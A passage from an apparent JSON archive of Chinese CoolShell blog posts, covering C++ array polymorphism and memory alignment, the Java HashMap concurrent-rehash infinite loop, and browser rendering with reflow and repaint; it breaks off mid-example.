Family](http://www.in-ulm.de/~mascheck/bourne/)：Bourne Shell家族简史。\n\n\n[v6shell](http://v6shell.org/)：osh，一个基于Thompson Shell的开源可移植性old shell。\n\n\n[寒蝉退士的博客](http://blog.chinaunix.net/uid-20106293-id-142129.html)：Thompson Shell的一个注解版。\n\n\n[Evolution of shells in Linux](https://www.ibm.com/developerworks/linux/library/l-linux-shells/index.html?ca=drs-)：简述Linux Shell演变史。\n\n\n附录一个中文注释的 [shell源码](https://coolshell.cn/wp-content/uploads/2013/04/shell源码.zip)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](https://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)\n* [![Go语言源码的一个改动](../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg)](https://coolshell.cn/articles/1761.html)[Go语言源码的一个改动](https://coolshell.cn/articles/1761.html)\nThe post [Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-4-29 “C++的数组不支持多态”？.md",
    "content": "---\nlayout: post\ntitle: “C++的数组不支持多态”？\ndate: 2013/4/29/ 8:17:40\nupdated: 2013/4/29/ 8:17:40\nstatus: publish\npublished: true\ntype: post\n---\n\n先是在微博上看到了个[微博](http://weibo.com/1876004965/zueproucp)和云风的评论，然后我回了“楼主对C的内存管理不了解”。\n\n\n[![](../wp-content/uploads/2013/04/weibo.jpg)](https://coolshell.cn/wp-content/uploads/2013/04/weibo.jpg)\n\n\n后来引发了很多人的讨论，大量的人又借机来黑C++，比如：\n\n\n\n> //[@Baidu-ThursdayWang](http://weibo.com/n/Baidu-ThursdayWang):这不就c++弱爆了的地方吗，需要记忆太多东西\n> \n> \n> //[@编程浪子张发财](http://weibo.com/n/%E7%BC%96%E7%A8%8B%E6%B5%AA%E5%AD%90%E5%BC%A0%E5%8F%91%E8%B4%A2):这个跟C关系真不大。不过我得验证一下，感觉真的不应该是这样的。如果基类的析构这种情况不能 调用，就太弱了。\n> \n> \n> //[@程序元](http://weibo.com/1401324585)：现在看来，当初由于毅力不够而没有深入纠缠c++语言特性的各种犄角旮旯的坑爹细枝末节，实是幸事。为现在还沉浸于这些诡异特性并乐此不疲的同志们感到忧伤。\n> \n> \n\n\n然后，也出现了一些乱七八糟的理解：\n\n\n\n\n> //[@BA5BO](http://weibo.com/n/BA5BO): 数组是基于拷贝的，而多态是基于指针的，派生类赋值给基类数组只是拷贝复制了一个基类新对象，当然不需要派生类析构函数\n> \n> \n> //[@编程浪子张发财](http://weibo.com/n/%E7%BC%96%E7%A8%8B%E6%B5%AA%E5%AD%90%E5%BC%A0%E5%8F%91%E8%B4%A2):我突然理解是怎么回事了，这种情况下数组中各元素都是等长结构体，类型必须一致，的确没法多态。这跟C#和java不同。后两者对于引用类型存放的是对象指针。\n> \n> \n\n\n等等，看来我必需要写一篇博客以正视听了。\n\n\n因为没有看到上下文，我就猜测讨论的可能会是下面这两种情况之一：\n\n\n1) 一个Base\\*[]的指针数组中，存放了一堆派生类的指针，这样，你delete [] pBase; 只是把指针数组给删除了，并没有删除指针所指向的对象。这个是最基础的C的问题。你先得for这个指针数组，把数据里的对象都delete掉，然后再删除数组。很明显，这和C++没有什么关系。\n\n\n2）第二种可能是：Base \\*pBase = new Derived[n] 这样的情况。这种情况下，delete[] pBase 明显不会调用虚析构函数（当然，这并不一定，我后面会说） ，这就是上面云风回的微博。对此，我觉得如果是这个样子，这个程序员**完全没有搞懂C语言中的指针和数组是怎么一回事**，也没有搞清楚， 什么是对象，什么是对象的指针和引用，这完全就是C语言没有学好。\n\n\n后来，在看到了 [@GeniusVczh](http://weibo.com/n/GeniusVczh) 的原文 《[如何设计一门语言（一）——什么是坑(a)](http://www.cppblog.com/vczh/archive/2013/04/27/199765.html)》最后时，才知道了说的是第二种情况。也就是下面的这个示例（我加了虚的析构函数这样方便编译）：\n\n\n\n```\nclass Base\n{\n  public:\n    virtual ~B(){ cout <<\"B::~B()\"<<endl; }\n};\n\nclass Derived : public Base\n{\n  public:\n    virtual ~D() { cout <<\"D::D~()\"<<endl; }\n};\n\nBase* pBase = new Derived[10];\ndelete[] pBase;\n```\n\n#### C语言补课\n\n\n我先不说这段C++的程序在什么情况下能正确调用派生类的析构函数，我还是先来说说C语言，这样我在后面说这段代码时你就明白了。\n\n\n对于上面的：\n\n\n`Base* pBase = new Derived[10];`\n\n\n这个语言和下面的有什么不同吗？\n\n\n\n```\nDerived d[10];\n\nBase* pBase = d;\n```\n\n一个是堆内存动态分配，一个是栈内存静态分配。只是内存的位置和类型不一样，在语法和使用上没有什么不一样的。（如果你把Base 和 Derived想成struct，把new想成malloc() ，你还觉得这和C++有什么关系吗？）\n\n\n**那么，你觉得pBase这个指针是指向对象的，是对象的引用，还是指向一个数组的，是数组的引用？**\n\n\n于是乎，你可以想像一下下面的场景：\n\n\n\n```\nint *pInt; char* pChar;\n\npInt = (int*)malloc(10*sizeof(int));\n\npChar = (char*)pInt;\n```\n\n**对上面的pInt和pChar指针来说，pInt[3]和pChar[3]所指向的内容是否一样呢？当然不一样，因为int是4个字节，char是1个字节，步长不一样，所以当然不一样。**\n\n\n**那么再回到那个把Derived[]数组的指针转成Base类型的指针pBase，那么pBase[3]是否会指向正确的Derrived[3]呢？**\n\n\n我们来看个纯C语言的例程，下面有两个结构体，就像继承一样，我还别有用心地加了一个void \\*vptr，好像虚函数表一样：\n\n\n\n```\n\n    struct A {\n        void *vptr;\n        int i;\n    };\n\n    struct B{\n        void *vptr;\n        int i;\n        char c;\n        int j;\n    }b[2] ={\n        {(void*)0x01, 100, 'a', -1},\n        {(void*)0x02, 200, 'A', -2}\n    };\n\n```\n\n注意：我用的是G++编译的，在64bits平台上编译的，其中的sizeof(void\\*)的值是8。\n\n\n我们看一下栈上内存分配：\n\n\n\n```\n\n    struct A *pa1 = (struct A*)(b);\n\n```\n\n用gdb我们可以看到下面的情况：(pa1[1]的成员的值完全乱掉了)\n\n\n\n```\n(gdb) p b\n$7 = {{vptr = 0x1, i = 100, c = 97 'a', j = -1}, {vptr = 0x2, i = 200, c = 65 'A', j = -2}}\n(gdb) p pa1[0]\n$8 = {vptr = 0x1, i = 100}\n(gdb) p pa1[1]\n$9 = {vptr = 0x7fffffffffff, i = 2}\n\n```\n\n我们再来看一下堆上的情况：（我们动态了struct B [2]，然后转成struct A \\*，然后对其成员操作）\n\n\n\n```\n\n    struct A *pa = (struct A*)malloc(2*sizeof(struct B));\n    struct B *pb = (struct B*)pa；\n\n    pa[0].vptr = (void*) 0x01;\n    pa[1].vptr = (void*) 0x02;\n\n    pa[0].i = 100;\n    pa[1].i = 200;\n\n```\n\n用gdb来查看一下变量，我们可以看到下面的情况：（pa没问题，但是pb[1]的内存乱掉了）\n\n\n\n```\n(gdb) p pa[0]\n$1 = {vptr = 0x1, i = 100}\n(gdb) p pa[1]\n$2 = {vptr = 0x2, i = 200}\n(gdb) p pb[0]\n$3 = {vptr = 0x1, i = 100, c = 0 '\\000', j = 2}\n(gdb) p pb[1]\n$4 = {vptr = 0xc8, i = 0, c = 0 '\\000', j = 0}\n\n```\n\n可见，这完全就是C语言里乱转型造成了内存的混乱，这和C++一点关系都没有。而且，C++的任何一本书都说过，父类对象和子类对象的转型会带来严重的内存问题。\n\n\n但是，如果在64bits平台下，如果把我们的structB改一下，改成如下（把struct B中的int j给注释掉）：\n\n\n\n```\n\n    struct A {\n        void *vptr;\n        int i;\n    };\n\n    struct B{\n        void *vptr;\n        int i;\n        char c;\n        //int j; <---注释掉int j\n    }b[2] ={\n        {(void*)0x01, 100, 'a'},\n        {(void*)0x02, 200, 'A'}\n    };\n\n```\n\n你就会发现，上面的内存混乱的问题都没有了，因为struct A和struct B的size是一样的：\n\n\n\n```\n(gdb) p sizeof(struct A)\n$6 = 16\n(gdb) p sizeof(struct B)\n$7 = 16\n```\n\n注：如果不注释int j，那么sizeof(struct B)的值是24。\n\n\n这就是C语言中的内存对齐，内存对齐的原因就是为了更快的存取内存（详见《[深入理解C语言](https://coolshell.cn/articles/5761.html \"深入理解C语言\")》）\n\n\n如果内存对齐了，而且struct A中的成员的顺序在struct B中是一样的而且在最前面话，那么就没有问题。\n\n\n#### 再来看C++的程序\n\n\n如果你看过我5年前写的《**[C++虚函数表解析](http://blog.csdn.net/haoel/article/details/1948051)**》以及《**C++内存对象布局 [上篇](http://blog.csdn.net/haoel/article/details/3081328)、[下篇](http://blog.csdn.net/haoel/article/details/3081385)**》，你就知道C++的标准会把虚函数表的指针放在类实例的最前面，你也就知道为什么我别有用心地在struct A和struct B前加了一个 void \\*vptr。C++之所以要加在最前面就是为了转型后，不会找不到虚表了。\n\n\n好了，到这里，我们再来看C++，看下面的代码：\n\n\n\n```\n\n#include\nusing namespace std;\n\nclass B\n{\n  int b;\n  public:\n    virtual ~B(){ cout <<\"B::~B()\"<<endl; }\n};\n\nclass D: public B\n{\n  int i;\n  public:\n    virtual ~D() { cout <<\"D::~D()\"<<endl; }\n};\n\nint main(void)\n{\n    cout << \"sizeB:\" << sizeof(B) << \" sizeD:\"<< sizeof(D) <<endl;\n    B *pb = new D[2];\n\n    delete [] pb;\n\n    return 0;\n}\n\n```\n\n**上面的代码可以正确执行，包括调用子类的虚函数！因为内存对齐了**。在我的64bits的CentOS上——sizeof(B):16 ，sizeof(D):16\n\n\n**但是，如果你在class D中再加一个int成员的问题，这个程序就Segmentation fault了**。因为—— sizeof(B):16 ，sizeof(D):24。pb[1]的虚表找到了一个错误的内存上，内存乱掉了。\n\n\n再注：我在Visual Studio 2010上做了一下测试，对于 struct 来说，其表现和gcc的是一样的，但对于class的代码来说，其可以“正确调用到虚函数”无论父类和子类有没有一样的size。\n\n\n然而，在C++的标准中，下面这样的用法是undefined! 你可以看看StackOverflow上的相关问题讨论：《[Why is it undefined behavior to delete[] an array of derived objects via a base pointer?](http://stackoverflow.com/questions/6171814/why-is-it-undefined-behavior-to-delete-an-array-of-derived-objects-via-a-base \"Why is it undefined behavior to delete[] an array of derived objects via a base pointer?\")》（同样，你也可以看看《More Effective C++》中的条款三）\n\n\n\n```\nBase* pBase = new Derived[10];\n\ndelete[] pBase;\n```\n\n所以，微软C++编程译器define这个事让我非常不解，对微软的C++编译器再度失望，看似默默地把其编译对了很漂亮，实则误导了好多人把这种undefined的东西当成defined来用，还赞扬做得好，真是令人无语。**（**[就像微博上的这个贴一样](http://weibo.com/2087077260/zup0V7LLM)，说VC多么牛，还说这是OO的特性。我勒个去！**）**\n\n\n[![](../wp-content/uploads/2013/04/hehe.png)](https://coolshell.cn/wp-content/uploads/2013/04/hehe.png)\n\n\n现在，你终于知道Base\\* pBase = new Derived[10];这个问题是C语言的转型的问题，你也应该知道用于数组的指针是怎么回事了吧？**这是一个很奇葩的代码！请你不要像那些人一样在微博上和这里的评论里高呼并和我理论到：“微软的C++编译器支持这个事！”。**\n\n\n最后，我越来越发现，**很多说C++难用的人，其实是不懂C语言**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5388.html)[C语言中史上最愚蠢的Bug](https://coolshell.cn/articles/5388.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [“C++的数组不支持多态”？](https://coolshell.cn/articles/9543.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-5-10 疫苗：Java HashMap的死循环.md",
    "content": "---\nlayout: post\ntitle: 疫苗：Java HashMap的死循环\ndate: 2013/5/10/ 0:12:12\nupdated: 2013/5/10/ 0:12:12\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/05/race_condition-300x190.jpg)在淘宝内网里看到同事发了贴说了一个CPU被100%的线上故障，并且这个事发生了很多次，原因是在Java语言在并发情况下使用HashMap造成Race Condition，从而导致死循环。这个事情我4、5年前也经历过，本来觉得没什么好写的，因为Java的HashMap是非线程安全的，所以在并发下必然出现问题。但是，我发现近几年，很多人都经历过这个事（在网上查“HashMap Infinite Loop”可以看到很多人都在说这个事）所以，觉得这个是个普遍问题，需要写篇疫苗文章说一下这个事，并且给大家看看一个完美的“Race Condition”是怎么形成的。\n\n\n#### 问题的症状\n\n\n从前我们的Java代码因为一些原因使用了HashMap这个东西，但是当时的程序是单线程的，一切都没有问题。后来，我们的程序性能有问题，所以需要变成多线程的，于是，变成多线程后到了线上，发现程序经常占了100%的CPU，查看堆栈，你会发现程序都Hang在了HashMap.get()这个方法上了，重启程序后问题消失。但是过段时间又会来。而且，这个问题在测试环境里可能很难重现。\n\n\n我们简单的看一下我们自己的代码，我们就知道HashMap被多个线程操作。而Java的文档说HashMap是非线程安全的，应该用ConcurrentHashMap。\n\n\n但是在这里我们可以来研究一下原因。\n\n\n\n#### Hash表数据结构\n\n\n我需要简单地说一下HashMap这个经典的数据结构。\n\n\nHashMap通常会用一个指针数组（假设为table[]）来做分散所有的key，当一个key被加入时，会通过Hash算法通过key算出这个数组的下标i，然后就把这个<key, value>插到table[i]中，如果有两个不同的key被算在了同一个i，那么就叫冲突，又叫碰撞，这样会在table[i]上形成一个链表。\n\n\n我们知道，如果table[]的尺寸很小，比如只有2个，如果要放进10个keys的话，那么碰撞非常频繁，于是一个O(1)的查找算法，就变成了链表遍历，性能变成了O(n)，这是Hash表的缺陷（可参看《[Hash Collision DoS 问题](https://coolshell.cn/articles/6424.html \"Hash Collision DoS 问题\")》）。\n\n\n所以，Hash表的尺寸和容量非常的重要。一般来说，Hash表这个容器当有数据要插入时，都会检查容量有没有超过设定的thredhold，如果超过，需要增大Hash表的尺寸，但是这样一来，整个Hash表里的无素都需要被重算一遍。这叫rehash，这个成本相当的大。\n\n\n相信大家对这个基础知识已经很熟悉了。\n\n\n#### HashMap的rehash源代码\n\n\n下面，我们来看一下Java的HashMap的源代码。\n\n\nPut一个Key,Value对到Hash表中：\n\n\n\n```\npublic V put(K key, V value)\n{\n    ......\n    //算Hash值\n    int hash = hash(key.hashCode());\n    int i = indexFor(hash, table.length);\n    //如果该key已被插入，则替换掉旧的value （链接操作）\n    for (Entry<K,V> e = table[i]; e != null; e = e.next) {\n        Object k;\n        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {\n            V oldValue = e.value;\n            e.value = value;\n            e.recordAccess(this);\n            return oldValue;\n        }\n    }\n    modCount++;\n    //该key不存在，需要增加一个结点\n    addEntry(hash, key, value, i);\n    return null;\n}\n```\n\n检查容量是否超标\n\n\n\n```\nvoid addEntry(int hash, K key, V value, int bucketIndex)\n{\n    Entry<K,V> e = table[bucketIndex];\n    table[bucketIndex] = new Entry<K,V>(hash, key, value, e);\n    //查看当前的size是否超过了我们设定的阈值threshold，如果超过，需要resize\n    if (size++ >= threshold)\n        resize(2 * table.length);\n} \n```\n\n新建一个更大尺寸的hash表，然后把数据从老的Hash表中迁移到新的Hash表中。\n\n\n\n```\nvoid resize(int newCapacity)\n{\n    Entry[] oldTable = table;\n    int oldCapacity = oldTable.length;\n    ......\n    //创建一个新的Hash Table\n    Entry[] newTable = new Entry[newCapacity];\n    //将Old Hash Table上的数据迁移到New Hash Table上\n    transfer(newTable);\n    table = newTable;\n    threshold = (int)(newCapacity * loadFactor);\n}\n```\n\n迁移的源代码，注意高亮处：\n\n\n\n```\nvoid transfer(Entry[] newTable)\n{\n    Entry[] src = table;\n    int newCapacity = newTable.length;\n    //下面这段代码的意思是：\n    //  从OldTable里摘一个元素出来，然后放到NewTable中\n    for (int j = 0; j < src.length; j++) {\n        Entry<K,V> e = src[j];\n        if (e != null) {\n            src[j] = null;\n            do {\n                Entry<K,V> next = e.next;\n                int i = indexFor(e.hash, newCapacity);\n                e.next = newTable[i];\n                newTable[i] = e;\n                e = next;\n            } while (e != null);\n        }\n    }\n} \n```\n\n好了，这个代码算是比较正常的。而且没有什么问题。\n\n\n#### 正常的ReHash的过程\n\n\n画了个图做了个演示。\n\n\n* 我假设了我们的hash算法就是简单的用key mod 一下表的大小（也就是数组的长度）。\n\n\n* 最上面的是old hash 表，其中的Hash表的size=2, 所以key = 3, 7, 5，在mod 2以后都冲突在table[1]这里了。\n\n\n* 接下来的三个步骤是Hash表 resize成4，然后所有的<key,value> 重新rehash的过程\n\n\n![](../wp-content/uploads/2013/05/HashMap01.jpg)\n\n\n#### 并发下的Rehash\n\n\n**1）假设我们有两个线程。**我用红色和浅蓝色标注了一下。\n\n\n我们再回头看一下我们的 transfer代码中的这个细节：\n\n\n\n```\ndo {\n    Entry<K,V> next = e.next; // <--假设线程一执行到这里就被调度挂起了\n    int i = indexFor(e.hash, newCapacity);\n    e.next = newTable[i];\n    newTable[i] = e;\n    e = next;\n} while (e != null);\n```\n\n而我们的线程二执行完成了。于是我们有下面的这个样子。\n\n\n![](../wp-content/uploads/2013/05/HashMap02.jpg)\n\n\n注意，**因为Thread1的 e 指向了key(3)，而next指向了key(7)，其在线程二rehash后，指向了线程二重组后的链表**。我们可以看到链表的顺序被反转后。\n\n\n**2）线程一被调度回来执行。**\n\n\n* **先是执行 newTalbe[i] = e;**\n* **然后是e = next，导致了e指向了key(7)，**\n* **而下一次循环的next = e.next导致了next指向了key(3)**\n\n\n![](../wp-content/uploads/2013/05/HashMap03.jpg)\n\n\n**3）一切安好。**\n\n\n线程一接着工作。**把key(7)摘下来，放到newTable[i]的第一个，然后把e和next往下移**。\n\n\n![](../wp-content/uploads/2013/05/HashMap04.jpg)\n\n\n**4）环形链接出现。**\n\n\n**e.next = newTable[i] 导致  key(3).next 指向了 key(7)**\n\n\n**注意：此时的key(7).next 已经指向了key(3)， 环形链表就这样出现了。**\n\n\n![](../wp-content/uploads/2013/05/HashMap05.jpg)\n\n\n**于是，当我们的线程一调用到，HashTable.get(11)时，悲剧就出现了——Infinite Loop。**\n\n\n#### 其它\n\n\n有人把这个问题报给了Sun，不过Sun不认为这个是一个问题。因为HashMap本来就不支持并发。要并发就用ConcurrentHashmap\n\n\n<http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6423457>\n\n\n我在这里把这个事情记录下来，只是为了让大家了解并体会一下并发环境下的危险。\n\n\n参考：<http://mailinator.blogspot.com/2009/06/beautiful-race-condition.html>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/6424.html)[Hash Collision DoS 问题](https://coolshell.cn/articles/6424.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\nThe post [疫苗：Java HashMap的死循环](https://coolshell.cn/articles/9606.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-5-22 浏览器的渲染原理简介.md",
    "content": "---\nlayout: post\ntitle: 浏览器的渲染原理简介\ndate: 2013/5/22/ 0:17:47\nupdated: 2013/5/22/ 0:17:47\nstatus: publish\npublished: true\ntype: post\n---\n\n看到这个标题大家一定会想到这篇神文《[How Browsers Work](http://taligarsiel.com/Projects/howbrowserswork1.htm)》，这篇文章把浏览器的很多细节讲得很细，而且也被[翻译成了中文](http://ux.sohu.com/topics/50972d9ae7de3e752e0081ff)。为什么我还想写一篇呢？因为两个原因，\n\n\n1）这篇文章太长了，阅读成本太大，不能一口气读完。\n\n\n2）花了大力气读了这篇文章后可以了解很多，但似乎对工作没什么帮助。\n\n\n所以，我准备写下这篇文章来解决上述两个问题。希望你能在上班途中，或是坐马桶时就能读完，并能从中学会一些能用在工作上的东西。\n\n\n#### 浏览器工作大流程\n\n\n废话少说，先来看个图：\n\n\n![](../wp-content/uploads/2013/05/Render-Process.jpg)\n\n\n从上面这个图中，我们可以看到那么几个事：\n\n\n\n1）浏览器会解析三个东西：\n\n\n* 一个是HTML/SVG/XHTML，事实上，Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。\n\n\n* CSS，解析CSS会产生CSS规则树。\n\n\n* Javascript，脚本，主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree.\n\n\n2）解析完成后，浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering Tree。注意：\n\n\n* Rendering Tree 渲染树并不等同于DOM树，因为一些像Header或display:none的东西就没必要放在渲染树中了。\n\n\n* CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个Element。也就是DOM结点。也就是所谓的Frame。\n\n\n* 然后，计算每个Frame（也就是每个Element）的位置，这又叫layout和reflow过程。\n\n\n3）最后通过调用操作系统Native GUI的API绘制。\n\n\n#### DOM解析\n\n\nHTML的DOM Tree解析如下：\n\n\n\n```\n\n<html>\n<html>\n<head>\n    <title>Web page parsing</title>\n</head>\n<body>\n    <div>\n        <h1>Web page parsing</h1>\n        <p>This is an example Web page.</p>\n    </div>\n</body>\n</html>\n\n```\n\n上面这段HTML会解析成这样：\n\n\n![](../wp-content/uploads/2013/05/DOM-Tree-01.jpg)\n\n\n下面是另一个有SVG标签的情况。\n\n\n![](../wp-content/uploads/2013/05/DOM-Tree-02.jpg)\n\n\n#### CSS解析\n\n\nCSS的解析大概是下面这个样子（下面主要说的是Gecko也就是Firefox的玩法），假设我们有下面的HTML文档：\n\n\n\n```\n\n<doc>\n<title>A few quotes</title>\n<para>\n  Franklin said that <quote>\"A penny saved is a penny earned.\"</quote>\n</para>\n<para>\n  FDR said <quote>\"We have nothing to fear but <span>fear itself.</span>\"</quote>\n</para>\n</doc>\n\n```\n\n于是DOM Tree是这个样子：\n\n\n![](../wp-content/uploads/2013/05/DOM-Tree-Example.jpg)\n\n\n然后我们的CSS文档是这样的：\n\n\n\n```\n  /* rule 1 */ doc { display: block; text-indent: 1em; }\n/* rule 2 */ title { display: block; font-size: 3em; }\n/* rule 3 */ para { display: block; }\n/* rule 4 */ [class=\"emph\"] { font-style: italic; }\n```\n\n于是我们的CSS Rule Tree会是这个样子：\n\n\n![](../wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg)\n\n\n注意，图中的第4条规则出现了两次，一次是独立的，一次是在规则3的子结点。所以，我们可以知道，建立CSS Rule Tree是需要比照着DOM Tree来的。CSS匹配DOM Tree主要是从右到左解析CSS的Selector，好多人以为这个事会比较快，其实并不一定。关键还看我们的CSS的Selector怎么写了。\n\n\n**注意：CSS匹配HTML元素是一个相当复杂和有性能问题的事情。所以，你就会在N多地方看到很多人都告诉你，DOM树要小，CSS尽量用id和class，千万不要过渡层叠下去，……**\n\n\n通过这两个树，我们可以得到一个叫Style Context Tree，也就是下面这样（把CSS Rule结点Attach到DOM Tree上）：\n\n\n![](../wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg)\n\n\n所以，Firefox基本上来说是通过CSS 解析 生成 CSS Rule Tree，然后，通过比对DOM生成Style Context Tree，然后Firefox通过把Style Context Tree和其Render Tree（Frame Tree）关联上，就完成了。注意：Render Tree会把一些不可见的结点去除掉。而**Firefox中所谓的Frame就是一个DOM结点，不要被其名字所迷惑了**。\n\n\n![](../wp-content/uploads/2013/05/Firefox-style-context-tree.png)\n\n\n注：Webkit不像Firefox要用两个树来干这个，Webkit也有Style对象，它直接把这个Style对象存在了相应的DOM结点上了。\n\n\n#### 渲染\n\n\n渲染的流程基本上如下（黄色的四个步骤）：\n\n\n1. 计算CSS样式\n2. 构建Render Tree\n3. Layout – 定位坐标和大小，是否换行，各种position, overflow, z-index属性 ……\n4. 正式开画\n\n\n![](../wp-content/uploads/2013/05/Render-Process-Skipping.jpg)\n\n\n注意：上图流程中有很多连接线，这表示了Javascript动态修改了DOM属性或是CSS属会导致重新Layout，有些改变不会，就是那些指到天上的箭头，比如，修改后的CSS rule没有被匹配到，等。\n\n\n这里重要要说两个概念，一个是Reflow，另一个是Repaint。这两个不是一回事。\n\n\n* Repaint——屏幕的一部分要重画，比如某个CSS的背景色变了。但是元素的几何尺寸没有变。\n\n\n* Reflow——意味着元件的几何尺寸变了，我们需要重新验证并计算Render Tree。是Render Tree的一部分或全部发生了变化。这就是Reflow，或是Layout。（**HTML使用的是flow based layout，也就是流式布局，所以，如果某元件的几何尺寸发生了变化，需要重新布局，也就叫reflow**）reflow 会从<html>这个root frame开始递归往下，依次计算所有的结点几何尺寸和位置，在reflow过程中，可能会增加一些frame，比如一个文本字符串必需被包装起来。\n\n\n下面是一个打开Wikipedia时的Layout/reflow的视频（注：HTML在初始化的时候也会做一次reflow，叫 intial reflow），你可以感受一下：\n\n\nReflow的成本比Repaint的成本高得多的多。DOM Tree里的每个结点都会有reflow方法，一个结点的reflow很有可能导致子结点，甚至父点以及同级结点的reflow。**在一些高性能的电脑上也许还没什么，但是如果reflow发生在手机上，那么这个过程是非常痛苦和耗电的**。\n\n\n所以，下面这些动作有很大可能会是成本比较高的。\n\n\n* 当你增加、删除、修改DOM结点时，会导致Reflow或Repaint\n* 当你移动DOM的位置，或是搞个动画的时候。\n* 当你修改CSS样式的时候。\n* 当你Resize窗口的时候（移动端没有这个问题），或是滚动的时候。\n* 当你修改网页的默认字体时。\n\n\n注：display:none会触发reflow，而visibility:hidden只会触发repaint，因为没有发现位置变化。\n\n\n多说两句关于滚屏的事，通常来说，如果在滚屏的时候，我们的页面上的所有的像素都会跟着滚动，那么性能上没什么问题，因为我们的显卡对于这种把全屏像素往上往下移的算法是很快。但是如果你有一个fixed的背景图，或是有些Element不跟着滚动，有些Elment是动画，那么这个滚动的动作对于浏览器来说会是相当相当痛苦的一个过程。你可以看到很多这样的网页在滚动的时候性能有多差。因为滚屏也有可能会造成reflow。\n\n\n基本上来说，reflow有如下的几个原因：\n\n\n* Initial。网页初始化的时候。\n* Incremental。一些Javascript在操作DOM Tree时。\n* Resize。其些元件的尺寸变了。\n* StyleChange。如果CSS的属性发生变化了。\n* Dirty。几个Incremental的reflow发生在同一个frame的子树上。\n\n\n好了，我们来看一个示例吧：\n\n\n[javascript]var bstyle = document.body.style; // cache\n\n\nbstyle.padding = \"20px\"; // reflow, repaint  \n\nbstyle.border = \"10px solid red\"; //  再一次的 reflow 和 repaint\n\n\nbstyle.color = \"blue\"; // repaint  \n\nbstyle.backgroundColor = \"#fad\"; // repaint\n\n\nbstyle.fontSize = \"2em\"; // reflow, repaint\n\n\n// new DOM element – reflow, repaint  